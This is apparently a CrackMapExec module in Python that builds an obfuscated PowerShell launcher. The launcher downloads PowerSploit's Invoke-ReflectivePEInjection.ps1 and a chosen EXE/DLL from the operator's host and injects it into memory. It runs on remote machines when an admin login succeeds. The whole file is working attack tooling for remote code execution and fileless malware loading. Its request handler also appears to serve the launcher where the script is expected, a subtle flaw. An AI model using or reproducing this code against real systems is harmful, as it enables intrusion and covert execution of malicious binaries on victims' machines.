from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os

class CMEModule:
    '''
        Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
        Module by @byt3bl33d3r
    '''
    name = 'pe_inject'

    description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"

    chain_support = False

    def options(self, context, module_options):
        '''
            PATH     Path to dll/exe to inject
            PROCID   Process ID to inject into (default: current powershell process)
            EXEARGS  Arguments to pass to the executable being reflectively loaded (default: None)
        '''

        if not 'PATH' in module_options:
            context.log.error('PATH option is required!')
            exit(1)

        self.payload_path = os.path.expanduser(module_options['PATH'])
        if not os.path.exists(self.payload_path):
            context.log.error('Invalid path to EXE/DLL!')
            exit(1)

        self.procid  = None
        self.exeargs = None

        if 'PROCID' in module_options:
            self.procid = module_options['PROCID']

        if 'EXEARGS' in module_options:
            self.exeargs = module_options['EXEARGS']

    def launcher(self, context, command):
        launcher = """
        IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
        $WebClient = New-Object System.Net.WebClient;
        [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
        Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
                                                     port=context.server_port,
                                                     addr=context.localip,
                                                     pefile=os.path.basename(self.payload_path))

        if self.procid:
            launcher += ' -ProcessID {}'.format(self.procid)

        if self.exeargs:
            launcher += ' -ExeArgs "{}"'.format(self.exeargs)

        return create_ps_command(launcher, force_ps32=True)

    def payload(self, context, command):
        with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
            return obfs_ps_script(ps_script.read())

    def on_admin_login(self, context, connection, launcher, payload):
        connection.execute(launcher)
        context.log.success('Executed launcher')

    def on_request(self, context, request, launcher, payload):
        if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()


            request.wfile.write(launcher)

        elif os.path.basename(self.payload_path) == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.stop_tracking_host()

            with open(self.payload_path, 'rb') as payload:
                request.wfile.write(payload.read())

        else:
            request.send_response(404)
            request.end_headers()